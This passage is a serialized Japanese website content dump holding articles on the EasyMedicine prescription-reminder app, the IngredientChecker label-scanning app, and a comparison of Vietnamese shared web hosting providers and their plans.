サービスとして、テキストを入力して、抽出された医療関連情報を返します。大量の医療データを使用して作成されたため、非常に高い精度の結果を表示することができます。これはユーザーの健康に直接影響するため、高い精度の結果というのは非常に重要な要素ではないでしょうか。 これはAWS のサービスのため、サービスが配置されている地域は多数あります。したがって、応答速度も非常に最適です。",[530,11337],{"className":11338,"alt":64,"src":11339,"style":536},[533,534],"https:\u002F\u002Fd2908q01vomqb2.cloudfront.net\u002Fda4b9237bacccdf19c0760cab7aec4a8359010b0\u002F2018\u002F11\u002F27\u002Fmedicalcomprehend_updated.png",[11,11341,11342],{},"この AI が特定できる情報は非常に多いですが、ユーザーの服用管理のみを行うため、次のような情報にのみ焦点を当てる必要があります。",[31,11344,11345,11348],{},[34,11346,11347],{},"医薬品情報：医薬品名、医薬品の投与量。",[34,11349,11350],{},"服用時間",[11,11352,11353,11354,804],{},"サービスのメンテナンスコスト (",[57,11355,11358],{"href":11356,"rel":11357},"https:\u002F\u002Faws.amazon.com\u002Fcomprehend\u002Fpricing\u002F",[61],"Amazon Comprehend – Pricing)",[31,11360,11361,11364],{},[34,11362,11363],{},"100 文字ごと = 1 単位。さまざまな費用がありますが、EasyMedicine が使用する費用は 1,000 万単位です。",[34,11365,11366,11367,6640],{},"1,000 万単位の場合、単位あたりの費用は 0.0001 USDです。たとえば、毎月 10,000 件の処方箋を処理すれば、各処方箋の平均文字数が 500 文字になって、費用が ",[20,11368,11369],{},"10000*5*0.0001 = 5 USD",[11,11371,11372,11373],{},"この値段はかなり最適だと言えます。\n",[57,11374],{"id":11375},"section-5",[660,11377,11379],{"id":11378},"_5-システムの構成","#5. システムの構成",[11,11381,11382],{},"以下はEasyMedicineのシステムの構成です：",[530,11384],{"className":11385,"alt":64,"src":11386,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F07112836\u002Fhac.drawio.png",[11,11388,11389],{},"以上の図をより理解するために、アプリケーションの処理のフローを考えてみましょう。まず、ユーザーが撮影\u002Fアップロードした処方箋の画像を入力すると、この画像がサーバーに送信されます。サーバーは、入力された画像の base64 エンコードを送信して、Google Vision API を呼び出します。 Google は、画像から抽出されたテキスト 内容の全体を処理してから返します。以下の処方箋を例としてあげましょう：",[530,11391],{"className":11392,"alt":64,"src":11393,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F07134621\u002FScreenshot-2023-03-02-103445.png",[11,11395,11396],{},"次に、サーバーは抽出したテキストを使用して AWS Comprehend Medical API を呼び出し、医療データの抽出をリクエストします。返された結果の一部は以下の通りです：",[696,11398,11401],{"className":11399,"code":11400,"language":701},[699],"{\n\n    \"Entities\": \\[\n\n        {\n\n            \"Id\": 1,\n\n            \"BeginOffset\": 0,\n\n            \"EndOffset\": 27,\n\n            \"Score\": 0.982366681098938,\n\n            \"Text\": \"Erythromycin ethylsuccinate\",                     \u002F\u002F 薬の名前\n\n            \"Category\": \"MEDICATION\",\n\n            \"Type\": \"GENERIC\\_NAME\",\n\n            \"Traits\": \\[\\],\n\n            \"Attributes\": \\[\n\n                {\n\n                    \"Type\": \"STRENGTH\",\n\n                    \"Score\": 0.8039610385894775,\n\n                    \"RelationshipScore\": 0.9956788420677185,\n\n                    \"RelationshipType\": \"STRENGTH\",\n\n                    \"Id\": 2,\n\n                    \"BeginOffset\": 28,\n\n                    \"EndOffset\": 37,\n\n                    \"Text\": \"400mg\u002F5ml\",                                        \u002F\u002F 薬の投与量\n\n                    \"Category\": \"MEDICATION\",\n\n                    \"Traits\": \\[\\]\n\n                },\n\n                {\n\n                    \"Type\": \"FREQUENCY\",\n\n                    \"Score\": 0.2624519169330597,\n\n                    \"RelationshipScore\": 0.999884843826294,\n\n                    \"RelationshipType\": \"FREQUENCY\",\n\n                    \"Id\": 3,\n\n                    \"BeginOffset\": 46,\n\n                    \"EndOffset\": 55,\n\n                    \"Text\": \"tsp.q.i.d\",                                           \u002F\u002F 服用頻度\n\n                    \"Category\": \"MEDICATION\",\n\n                    \"Traits\": \\[\\]\n\n                }\n\n            \\]\n\n        }\n\n    \\]\n\n}\n",[703,11402,11400],{"__ignoreMap":64},[11,11404,11405],{},"JSONからの結果 と元の入力画像を比較すると、AI がテキストの内容をどのように構成するかということがわかります。既に定義した構成に基づいて、この処方箋に応じる服用スケジュールを立てるために必要な情報を簡単に取得することができます。具体的には、次の属性の処理に焦点を当てます。",[31,11407,11408,11415,11421],{},[34,11409,11410,11411,11414],{},"タイプが",[703,11412,11413],{},"BRAND_NAME、または``GENERIC_NAME","\"：これは抽出された薬の名前です",[34,11416,11410,11417,11420],{},[703,11418,11419],{},"DOSAGE、または STRENGTH","：これは薬の投与量です",[34,11422,11410,11423,11426],{},[703,11424,11425],{},"FREQUENCY："," 服用頻度（服用スケジュールを立てるために不可欠な情報です）",[11,11428,11429],{},"抽出された情報から、その情報を処理して、結果は薬一覧が含まれる特定の服用スケジュールが出ます。",[11,11431,11432],{},"**薬の名前：**この情報は抽象的ではないため、最も簡単に抽出できます。薬のデータベースのデータが AWS システムに存在する限りです。",[11,11434,11435],{},"**薬の投与量：**タイプが「DOSAGE」の属性が複数返されますので、薬の実際の全体な投与量と毎回の投与量を区別する必要があります。",[31,11437,11438,11453],{},[34,11439,11440,11443,11444,11449,11450],{},[703,11441,11442],{},"薬の投与量","は一般的にその薬の質量\u002F体積の単位が付いています （100mgや400mlなど）。Regex (",[57,11445,11448],{"href":11446,"rel":11447},"https:\u002F\u002Fdeveloper.mozilla.org\u002Fen-US\u002Fdocs\u002FWeb\u002FJavaScript\u002FGuide\u002FRegular_Expressions",[61],"Regular Expression",") を使用すると、薬の投与量の情報を簡単に抽出できます: ",[703,11451,11452],{},"\u002F([0-9]+)( ?)(mg|ml)\u002F",[34,11454,11455,11458],{},[703,11456,11457],{},"毎回の投与量","は質量（50mg）の単位でも、1 錠 や 1 ボットルな形でもあります。方法も上記と同じになります。",[11,11460,11461],{},[20,11462,11463],{},"服用スケジュール：",[31,11465,11466,11478],{},[34,11467,11468,11471,11472,11477],{},[703,11469,11470],{},"薬を飲む時間は薬局コードで表します"," （",[57,11473,11476],{"href":11474,"rel":11475},"https:\u002F\u002Fpharmacytechniciantoday.com\u002Fpharmacy-abbreviations-sig-codes\u002F",[61],"Medical and pharmacy abbreviations","）。上記の処方箋に書いてある「q.i.d」は「１日に４回」という意味になります。ということはアプリが午前 (7時)、午後 (1時)、午後 (6時)、午後 (9時) の 4 回に薬を服用するスケジュールを立てることになります。",[34,11479,11480,11483,11484,11487,11488,11491,11492],{},[703,11481,11482],{},"薬を飲み時間は日の時点で表します。"," アプリは、入力された時間と一致するように服用のスケジュールを立てる必要があります。この表し方はさまざまなケースがあります。例えば、",[703,11485,11486],{},"朝食の前（毎朝の７時）"," 、もしくは ",[703,11489,11490],{},"１日に２回（午前の７時、午後の１時）。"," ある時点から特定な服用スケジュールに変更するにはRegexを使用して一致するかどうかを確認します。例えば： ",[703,11493,11494],{},"\u002F(every|each|after|before) (breakfast|lunch|dinner|meal)\u002F",[11,11496,11497,11498],{},"最後のステップは、服用リマインド時間を設定することです。作成されたリストに基づいて、システムはユーザーの解体電話にプッシュ通知を送信します。このように、時間通りに正しい量の薬を服用することができます。\n",[57,11499],{"id":11500},"section-6",[660,11502,11504],{"id":11503},"_6-アプリのデモ","#6. アプリのデモ",[11,11506,11507],{},[57,11508,11509],{"href":11509,"rel":11510},"https:\u002F\u002Fyoutu.be\u002F5f4G10TW9Ko",[61],[11,11512,11513],{},[20,11514,11515],{},"Home画面：",[31,11517,11518,11521,11524],{},[34,11519,11520],{},"この画面の主な機能は、時間通りに服薬を管理することです。",[34,11522,11523],{},"ユーザーが服用しなければならない薬のリストを表示します。いつ、かつどのくらい飲むかということも表示します。薬は服用時点ごとに分けて、ユーザーはその時点でどの薬を飲めばいいかわかります。",[34,11525,11526],{},"薬のステータスが グレーになり、⚠️ がつけられる場合はユーザーが時間通りに薬を服用するのを忘れたという意味になります。その薬を時間通りに服用したことを確認するには、ユーザーがその薬をクリックする (または [Check all] をクリックする)べきです。その後、薬のステータスが緑色に変わり、✅がつかられます。",[11,11528,11529],{},[20,11530,11531],{},"Medication画面：",[31,11533,11534,11537,11540,11543],{},[34,11535,11536],{},"この画面は、薬のリストと薬の情報を表示します。",[34,11538,11539],{},"ユーザーは、ポップアップの「Manual」部で服用する薬を手動で入力できます。",[34,11541,11542],{},"または、処方箋の写真を撮って、アプリは、処方箋に記載されている情報に基づいて、服用する薬のリストとスケジュールを自動的に追加します。",[34,11544,11545,11546],{},"写真の情報が正しくない場合、ユーザーは自分で編集または削除できます。\n",[57,11547],{"id":11548},"section-7",[660,11550,11552],{"id":11551},"_7将来に開発したい機能","#7. 将来に開発したい機能",[31,11554,11555,11558,11561,11564,11567],{},[34,11556,11557],{},"より多くの言語をサポートすること：処方箋の写真を撮るとアプリが自動的に情報を処理しますが、この機能は処方箋が英語で書かれている場合のみに使えます。ベトナム語、日本語などの他の言語では、アプリはまだ対応できません。",[34,11559,11560],{},"処方箋の情報を保存して再利用すること：管理を簡単にするため、薬をグループ化で分けた方がいいです。それに、将来また病気になる可能性もあるので、その病気に関する処方箋がすでに保存されたら今度はどの薬を飲めばいいかを参考になるかもしれない.",[34,11562,11563],{},"アプリで薬を買うこと：作成された処方箋と組み合わせることで、ユーザーは薬を買うために薬局に行く必要がなくなります。アプリから薬を注文するだけでよいです。利便性があるだけでなく、薬のオリジナルや品質、価格も保証できれば、ユーザーがアプリで注文した薬をいつでも安心して服用できます。",[34,11565,11566],{},"特定の薬を服用する合計の量、または合計の日数を抽出すること：ほとんどの処方箋にはこの情報が含まれています。たとえば、服用する錠剤の合計数は 10 錠です。または合計日数は 7 日間です。",[34,11568,11569,11570],{},"自分なりの時間で設定すること：人によって薬を飲む時間が異なります。そのため、ユーザーが自分の習慣に合わせて自分の時間を設定できるようにします。\n",[57,11571],{"id":11572},"section-8",[660,11574,11576],{"id":11575},"_8-今度の欠点","#8. 今度の欠点",[11,11578,11579],{},"アプリケーションの一番大きな欠点はユーザーの写真からデータを自動的に生成する機能の効率性です。具体的には、次のような点で欠点があります。",[31,11581,11582,11585,11588],{},[34,11583,11584],{},"英語の処方箋のみ対応可能です。そのため、言語的には非常に限られています。",[34,11586,11587],{},"AWS Comprehend Medical が必要な情報を完全に抽出できない場合があります。処方箋に書いてある薬の名前の製薬会社がAWS データベースに存在しないことは一つの例です。この場合は、薬の名前を取得できません。",[34,11589,11590,11591],{},"服用スケジュールの情報は、すべての場合を把握することはできません。服用するスケジュールは処方箋の情報から判断して作成されるからです。\n",[57,11592],{"id":11593},"section-9",[660,11595,11597],{"id":11596},"_9-最後の言葉","#9. 最後の言葉",[11,11599,11600,11601],{},"EasyMedicine は、非常に実用的で日常生活に役立つアプリです。機能は AI 技術を利用しているため、操作は非常に簡単です。将来的には、このアプリケーションを展開して運用できるようになることを願っています。\n",[57,11602],{"id":11603},"section-10",[660,11605,11607],{"id":11606},"_10-参考元","#10. 参考元",[31,11609,11610,11617,11624],{},[34,11611,11612],{},[57,11613,11616],{"href":11614,"rel":11615},"https:\u002F\u002Fcloud.google.com\u002Fvision\u002Fdocs\u002Focr",[61],"Detect text in images  |  Cloud Vision API  |  Google Cloud",[34,11618,11619],{},[57,11620,11623],{"href":11621,"rel":11622},"https:\u002F\u002Fdocs.aws.amazon.com\u002Fcomprehend-medical\u002Flatest\u002Fdev\u002Ftextanalysis-entitiesv2.html",[61],"Detect entities (Version 2) - Amazon Comprehend Medical",[34,11625,11626],{},[57,11627,11630],{"href":11628,"rel":11629},"https:\u002F\u002Fdocs.google.com\u002Fpresentation\u002Fd\u002F1Peh_iNryPLe-GqyxT4PYScGQ-3HfstXM\u002Fedit#slide=id.g21397e526fe_2_0",[61],"プレゼンテーションファイル - EasyMedicine",{"title":64,"searchDepth":65,"depth":65,"links":11632},[11633,11634,11635,11636,11637,11638,11639,11640,11641,11642],{"id":11211,"depth":1375,"text":11212},{"id":11244,"depth":1375,"text":11245},{"id":11277,"depth":1375,"text":11278},{"id":11331,"depth":1375,"text":11332},{"id":11378,"depth":1375,"text":11379},{"id":11503,"depth":1375,"text":11504},{"id":11551,"depth":1375,"text":11552},{"id":11575,"depth":1375,"text":11576},{"id":11596,"depth":1375,"text":11597},{"id":11606,"depth":1375,"text":11607},[6724,1387],"2023-03-03",{},"\u002Fja\u002Fnews\u002Fhackathon-team3",{"title":11134,"description":11139},"ja\u002Fnews\u002Fhackathon-team3","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F20134143\u002F336245884_743305260576068_3192087576342334151_n-2048x694.png","PNWjpQqXQvtebhWwiRerR6BjRp4xdMMb-GzgQ1py4ZY",{"id":11652,"title":11653,"body":11654,"category":11813,"created by":68,"date":11124,"description":11660,"extension":71,"meta":11814,"navigation":73,"path":11815,"sections":75,"seo":11816,"stem":11817,"thumbnail":11818,"__hash__":11819},"content_ja\u002Fja\u002Fnews\u002Fhackathon-ung-dung-ingredientchecker.md","[Hackathon] IngredientCheckerアプリケーション",{"type":8,"value":11655,"toc":11804},[11656,11658,11661,11664,11667,11672,11675,11680,11683,11686,11691,11694,11699,11702,11705,11708,11725,11728,11736,11739,11753,11756,11776,11779,11782,11786,11789,11797],[495,11657,9754],{"id":9754},[11,11659,11660],{},"インダストリー4.0 の時代には、多くの消費者がテクノロジーを使うことで生活の質を向上させ始めています。健康は第一番の目標で、現在の世界上で、スキンケア、栄養食品、医薬品などの様々な製品を製造しています。しかし、それらの殆どは、大多数の消費者がそれの主作用や副作用を全然知らない化学成分を含んでいます。なので、Ingredient Checkerアプリケーションは、この問題を解決するために生まれました。",[11,11662,11663],{},"アプリケーション詳細は次の通りです。",[495,11665,11666],{"id":11666},"アプリケーション開発技術",[11,11668,11669],{},[20,11670,11671],{},"NodeJs",[11,11673,11674],{},"特定プラットフォームであり、クロスプラットフォームのアプリケーションに適した強力な機能です。",[11,11676,11677],{},[20,11678,11679],{},"Google cloud vision (GCV)",[11,11681,11682],{},"Google cloud vision APIは、Googleが既にトレーニングしたAIを元に強力的なテキストおよび画像の認識可能を提供します。開発のための製品に組み込みやすくなります。",[11,11684,11685],{},"製品のラベルに記載している化学成分を認識するためにGCVに組み込んでいます。GCVは、認識の速度が速くて、正確で提供します。",[11,11687,11688],{},[20,11689,11690],{},"OpenAI",[11,11692,11693],{},"ChatGPT APIを組み込みます。正確度を上がるために、OpenAIに化学成分のテキストかどうか認識させて、不要なテキストを除いて行います。",[11,11695,11696],{},[20,11697,11698],{},"Progressive Web App (PWA)",[11,11700,11701],{},"Progressive Web App (PWA)は、ウェブサイトからアプリケーションを直接にインストールできるために組み込まれます。CHPlayやApp Storeからインストールするネイティブアプリと同じ使用感を与えます。",[11,11703,11704],{},"良い点は、開発時間が短くて、それぞれのウェブバッションとモバイルアプリを実装する必要がありません。",[495,11706,11707],{"id":11707},"アプリケーションのメイン機能",[31,11709,11710,11713,11716,11719,11722],{},[34,11711,11712],{},"カメラや画像ライブラリやストレージメモリから画像を抽出します。",[34,11714,11715],{},"製品のラベルに記載している成分からテキストを認識します。",[34,11717,11718],{},"必要な情報を検索して絞って返却してします。",[34,11720,11721],{},"返却した情報がクライアントのメモリーで保存されて、サーバで何も保存しません。",[34,11723,11724],{},"EN-VIの言語をサポートします。",[495,11726,11727],{"id":11727},"使用対象",[31,11729,11730,11733],{},[34,11731,11732],{},"スキンケア製品や医薬品、機能性食品などの製品を常に使用して、使用目的に応じて製品の成分に関心する必要があるユーザーです。",[34,11734,11735],{},"化学成分に敏感しやすい、副作用を避けるために製品の成分を注意する必要があるユーザーです。",[495,11737,11738],{"id":11738},"利点",[31,11740,11741,11744,11747,11750],{},[34,11742,11743],{},"オンライン検索ツールでそれぞれの成分を検索する代わりに、検索時間が節約できます。",[34,11745,11746],{},"端末のストレージで返却した情報が保存されますので、前に検索した成分の結果が再度確認できます。",[34,11748,11749],{},"どの端末でも使用できます。",[34,11751,11752],{},"ユーザーフレンドリーなインターフェースであり、使いやすいです。",[495,11754,11755],{"id":11755},"次のバッションの拡張機能",[31,11757,11758,11761,11764,11767,11770,11773],{},[34,11759,11760],{},"多言語をサポートします。",[34,11762,11763],{},"アカウントを登録することでユーザーを管理します。",[34,11765,11766],{},"市場で最高の価格の製品を見つけてサポートします。",[34,11768,11769],{},"検索機能を改善して、精度とパフォーマンスの高い結果を出すようにします。",[34,11771,11772],{},"様々製品からラベルの様々なフォーマット種類が認識できます。",[34,11774,11775],{},"製品の信頼性が評価できるために、多くの販売サイトから商品レビューを集約する機能を追加します。",[495,11777,11778],{"id":11778},"使い方",[11,11780,11781],{},"三つステップがあります。",[530,11783],{"className":11784,"alt":64,"src":11785,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F07085856\u002FStep-768x335.png",[11,11787,11788],{},"デモ、アプリケーションリンク",[11790,11791,6338,11793],"video",{"controls":73,"style":11792},"max-width: 50%; height: auto; display: block; margin: 0 auto;",[6685,11794],{"src":11795,"type":11796},"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F06\u002F02153100\u002FDemoIngredientChecker.mp4","video\u002Fmp4",[11,11798,11799,11800],{},"リンク： ",[57,11801,11803],{"href":11795,"rel":11802},[61],"https:\u002F\u002Fingredient-checker.briswell-vn.com\u002F",{"title":64,"searchDepth":65,"depth":65,"links":11805},[11806,11807,11808,11809,11810,11811,11812],{"id":9754,"depth":65,"text":9754},{"id":11666,"depth":65,"text":11666},{"id":11707,"depth":65,"text":11707},{"id":11727,"depth":65,"text":11727},{"id":11738,"depth":65,"text":11738},{"id":11755,"depth":65,"text":11755},{"id":11778,"depth":65,"text":11778},[6724,1387],{},"\u002Fja\u002Fnews\u002Fhackathon-ung-dung-ingredientchecker",{"title":11653,"description":11660},"ja\u002Fnews\u002Fhackathon-ung-dung-ingredientchecker","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F07084009\u002Fback-ground-768x432.jpg","IOGWdiIA3_ZuKOiDi6QchfqQZC03FDWiEkxWkUjZmRk",{"id":11821,"title":11822,"body":11823,"category":1388,"created by":68,"date":13634,"description":13635,"extension":71,"meta":13636,"navigation":73,"path":13637,"sections":75,"seo":13638,"stem":13639,"thumbnail":13640,"__hash__":13641},"content_ja\u002Fja\u002Fnews\u002Fhosting-vietnam-2021.md","ベトナムのウェブホスティングサービス",{"type":8,"value":11824,"toc":13599},[11825,11829,11832,11835,11838,11840,11848,11851,11871,11874,11882,11885,11899,11902,11907,11915,11918,11930,11933,11938,11946,11949,11965,11968,11976,11984,11987,12006,12009,12014,12017,12020,12192,12195,12198,12353,12356,12359,12513,12515,12519,12740,12743,12746,12775,12778,12786,12790,12794,12952,12955,12958,13070,13073,13174,13177,13181,13184,13314,13317,13444,13447,13570,13573,13579,13586,13592],[487,11826,11828],{"id":11827},"ホスティングとは","ホスティングとは？",[11,11830,11831],{},"ホスティング（Webホスティング）は、ネイティブWebページまたはWebアプリケーションをインターネットに公開するのに役立つオンラインサービスです。 ホスティングサービスを登録するとき、ウェブサイトが動作するのに必要なすべてのファイルやデータを保持するサーバー上の場所を確保します。",[11,11833,11834],{},"サーバーは、中断しないで実行される物理コンピューターであるため、誰もがいつでもWebサイトにアクセスできます。 Webホスティング供給者は、サーバーの稼働を維持し、サーバーからインターネットを経由しユーザーへデータ（テキスト、画像、ファイル）を転送します。",[487,11836,11837],{"id":11837},"共有ホスティング",[495,11839,10710],{"id":10710},[31,11841,11842,11845],{},[34,11843,11844],{},"このサービスを管理することはそれほど難しくなく、あまり多くの知識を持っている必要はありません。",[34,11846,11847],{},"価格は他のクラウドサービスプラットフォームより安いです。",[495,11849,11850],{"id":11850},"悪い点",[31,11852,11853,11856,11859,11862,11865,11868],{},[34,11854,11855],{},"サーバーのリソースが他の利用者と共有のため、速度が速くなるWebサイトもあれば、遅くなるWebサイトもあります。",[34,11857,11858],{},"1つのWebサイトのトラフィックが多い場合、同じサーバーに入っている他のWebサイトのレスポンスが遅くなります。",[34,11860,11861],{},"１つのサーバー上で複数のユーザがリソースを共有するため、一部のユーザの管理により安全性が高くない状態だと外部からの攻撃に対して脆弱になる可能性があります。",[34,11863,11864],{},"使用容量に制限があり、その制限は高くありません。",[34,11866,11867],{},"ホスティングサービスには、ユーザーが特定の種類のプラグインやアプリをサーバにインストールすることを禁止する場合があります。",[34,11869,11870],{},"ホスティングサービス供給者は、さまざまな理由でユーザーのアカウントを終了する権利があります。 たとえば、Webサイトが他のユーザーに影響を与える大量のトラフィックを受信した場合、アカウントが閉鎖される可能性があります。",[487,11872,11873],{"id":11873},"共有ホスティングサービス供給者",[495,11875,11877],{"id":11876},"fpt",[57,11878,11881],{"href":11879,"rel":11880},"https:\u002F\u002Fdata.fpt.vn\u002Fen\u002Fhome.html",[61],"FPT",[660,11883,10710],{"id":11884},"良い点-1",[31,11886,11887,11890,11893,11896],{},[34,11888,11889],{},"安定したスピード、少ないエラー",[34,11891,11892],{},"セキュリティーが高い",[34,11894,11895],{},"ホスティングの登録のプロセスが簡単",[34,11897,11898],{},"24\u002F7サポート",[660,11900,11850],{"id":11901},"悪い点-1",[31,11903,11904],{},[34,11905,11906],{},"値段が高い",[495,11908,11910],{"id":11909},"viettel",[57,11911,11914],{"href":11912,"rel":11913},"http:\u002F\u002Fviettelidc.com.vn",[61],"Viettel",[660,11916,10710],{"id":11917},"良い点-2",[31,11919,11920,11923,11925,11928],{},[34,11921,11922],{},"豊富なサービス",[34,11924,11892],{},[34,11926,11927],{},"手頃な価格",[34,11929,11898],{},[660,11931,11850],{"id":11932},"悪い点-2",[31,11934,11935],{},[34,11936,11937],{},"WordpressやJoomlaなどのアプリケーションがプリインストールされているホスティングパッケージはまだサポートされていません。",[495,11939,11941],{"id":11940},"pa-vietnam",[57,11942,11945],{"href":11943,"rel":11944},"https:\u002F\u002Fpavietnam.com\u002Fen\u002F",[61],"PA VIETNAM",[660,11947,10710],{"id":11948},"良い点-3",[31,11950,11951,11954,11957,11960,11963],{},[34,11952,11953],{},"ベトナム周辺国で安定したスピード",[34,11955,11956],{},"可用性が高い",[34,11958,11959],{},"FreeSSLを使用できる",[34,11961,11962],{},"毎週自動的にバックアップ",[34,11964,11898],{},[660,11966,11850],{"id":11967},"悪い点-3",[31,11969,11970,11973],{},[34,11971,11972],{},"Cpanelは自動インストールされていない",[34,11974,11975],{},"厳格な返金ポリシー",[495,11977,11979],{"id":11978},"mắt-bão",[57,11980,11983],{"href":11981,"rel":11982},"https:\u002F\u002Fwww.matbao.net\u002F?lg=EN",[61],"Mắt Bão",[660,11985,10710],{"id":11986},"良い点-4",[31,11988,11989,11997,12000,12003],{},[34,11990,11991,11992,11996],{},"ベトナムのドメインサービスのTOP 2 (2017年にPA Việt Nam後)（",[57,11993,1231],{"href":11994,"rel":11995},"https:\u002F\u002Fwww.digistar.vn\u002Ftop-5-nha-dang-ky-ten-mien-viet-nam-2016\u002F",[61],"を参照）",[34,11998,11999],{},"データセンターは、Cong Hoaでまったく新しい方法で構築されています",[34,12001,12002],{},"ブランドはよく知られており、長い間安定してサービスを提供しています",[34,12004,12005],{},"シンガポールにあるホスティングインフラストラクチャのリージョンを選択できます",[660,12007,11850],{"id":12008},"悪い点-4",[31,12010,12011],{},[34,12012,12013],{},"システムは通常のプランでは顧客のデータのバックアップをサポートしていません。ユーザが手動でバックアップを行うか、別パッケージのバックアップサービスを購入する必要があります。",[487,12015,12016],{"id":12016},"各供給者の共有ホスティングサービスプランの比較",[660,12018,12019],{"id":12019},"基本プラン",[368,12021,12022,12043],{},[371,12023,12024],{},[374,12025,12026,12028,12033,12038],{},[377,12027],{},[377,12029,12031],{"align":12030},"center",[20,12032,11881],{},[377,12034,12035],{"align":12030},[20,12036,12037],{},"PA VN",[377,12039,12040],{"align":12030},[20,12041,12042],{},"VIETTEL",[393,12044,12045,12059,12073,12087,12099,12111,12122,12133,12144,12156,12168,12180],{},[374,12046,12047,12050,12053,12056],{},[398,12048,12049],{},"プラン名",[398,12051,12052],{"align":12030},"Giga Plus",[398,12054,12055],{"align":12030},"Bán chuyên nghiệp (Semi-Professional)",[398,12057,12058],{"align":12030},"HOST PRO 3",[374,12060,12061,12064,12067,12070],{},[398,12062,12063],{},"価格(VND\u002F月)",[398,12065,12066],{"align":12030},"129.000",[398,12068,12069],{"align":12030},"142.000",[398,12071,12072],{"align":12030},"110.000",[374,12074,12075,12078,12081,12084],{},[398,12076,12077],{},"容量 (*)",[398,12079,12080],{"align":12030},"5 GB",[398,12082,12083],{"align":12030},"20 GB",[398,12085,12086],{"align":12030},"1.5 GB",[374,12088,12089,12092,12095,12097],{},[398,12090,12091],{},"月間帯域幅",[398,12093,12094],{"align":12030},"無制限",[398,12096,12094],{"align":12030},[398,12098,12094],{"align":12030},[374,12100,12101,12104,12106,12109],{},[398,12102,12103],{},"サブドメイン",[398,12105,12094],{"align":12030},[398,12107,12108],{"align":12030},"30",[398,12110,12094],{"align":12030},[374,12112,12113,12116,12118,12120],{},[398,12114,12115],{},"外部ドメイン",[398,12117,400],{"align":12030},[398,12119,411],{"align":12030},[398,12121,400],{"align":12030},[374,12123,12124,12127,12129,12131],{},[398,12125,12126],{},"FTPアカウント",[398,12128,12094],{"align":12030},[398,12130,12094],{"align":12030},[398,12132,12094],{"align":12030},[374,12134,12135,12138,12140,12142],{},[398,12136,12137],{},"データベース: SQL\u002FMySQL",[398,12139,411],{"align":12030},[398,12141,454],{"align":12030},[398,12143,422],{"align":12030},[374,12145,12146,12149,12152,12154],{},[398,12147,12148],{},"Eメールアカウント",[398,12150,12151],{"align":12030},"15",[398,12153,12094],{"align":12030},[398,12155,443],{"align":12030},[374,12157,12158,12161,12164,12166],{},[398,12159,12160],{},"Control Panel",[398,12162,12163],{"align":12030},"●",[398,12165,12163],{"align":12030},[398,12167,12163],{"align":12030},[374,12169,12170,12173,12176,12178],{},[398,12171,12172],{},"SSL",[398,12174,12175],{"align":12030},"x",[398,12177,12163],{"align":12030},[398,12179,12175],{"align":12030},[374,12181,12182,12185,12188,12190],{},[398,12183,12184],{},"言語",[398,12186,12187],{"align":12030},"ASP\u002FASP.net\u002FPHP",[398,12189,12187],{"align":12030},[398,12191,12187],{"align":12030},[11,12193,12194],{},"(*): 要求により、各プランで追加の容量を購入できます。",[660,12196,12197],{"id":12197},"プレミアプラン",[368,12199,12200,12218],{},[371,12201,12202],{},[374,12203,12204,12206,12210,12214],{},[377,12205],{},[377,12207,12208],{"align":12030},[20,12209,11881],{},[377,12211,12212],{"align":12030},[20,12213,12037],{},[377,12215,12216],{"align":12030},[20,12217,12042],{},[393,12219,12220,12233,12246,12259,12269,12279,12289,12299,12310,12321,12331,12341],{},[374,12221,12222,12224,12227,12230],{},[398,12223,12049],{},[398,12225,12226],{"align":12030},"Giga Extrem",[398,12228,12229],{"align":12030},"HOST PRO 4",[398,12231,12232],{"align":12030},"HOST PRO 6",[374,12234,12235,12237,12240,12243],{},[398,12236,12063],{},[398,12238,12239],{"align":12030},"359.000",[398,12241,12242],{"align":12030},"475.000",[398,12244,12245],{"align":12030},"300.000",[374,12247,12248,12251,12254,12256],{},[398,12249,12250],{},"容量(*)",[398,12252,12253],{"align":12030},"4 GB",[398,12255,12083],{"align":12030},[398,12257,12258],{"align":12030},"10 GB",[374,12260,12261,12263,12265,12267],{},[398,12262,12091],{},[398,12264,12094],{"align":12030},[398,12266,12094],{"align":12030},[398,12268,12094],{"align":12030},[374,12270,12271,12273,12275,12277],{},[398,12272,12103],{},[398,12274,12094],{"align":12030},[398,12276,12108],{"align":12030},[398,12278,12094],{"align":12030},[374,12280,12281,12283,12285,12287],{},[398,12282,12115],{},[398,12284,422],{"align":12030},[398,12286,422],{"align":12030},[398,12288,422],{"align":12030},[374,12290,12291,12293,12295,12297],{},[398,12292,12126],{},[398,12294,12094],{"align":12030},[398,12296,433],{"align":12030},[398,12298,12094],{"align":12030},[374,12300,12301,12303,12305,12307],{},[398,12302,12137],{},[398,12304,433],{"align":12030},[398,12306,464],{"align":12030},[398,12308,12309],{"align":12030},"8",[374,12311,12312,12314,12317,12319],{},[398,12313,12148],{},[398,12315,12316],{"align":12030},"25",[398,12318,12094],{"align":12030},[398,12320,12108],{"align":12030},[374,12322,12323,12325,12327,12329],{},[398,12324,12184],{},[398,12326,12187],{"align":12030},[398,12328,12187],{"align":12030},[398,12330,12187],{"align":12030},[374,12332,12333,12335,12337,12339],{},[398,12334,12172],{},[398,12336,12175],{"align":12030},[398,12338,12163],{"align":12030},[398,12340,12175],{"align":12030},[374,12342,12343,12346,12349,12351],{},[398,12344,12345],{},"バックアップ",[398,12347,12348],{"align":12030},"毎週",[398,12350,12348],{"align":12030},[398,12352,12348],{"align":12030},[11,12354,12355],{},"(*) : 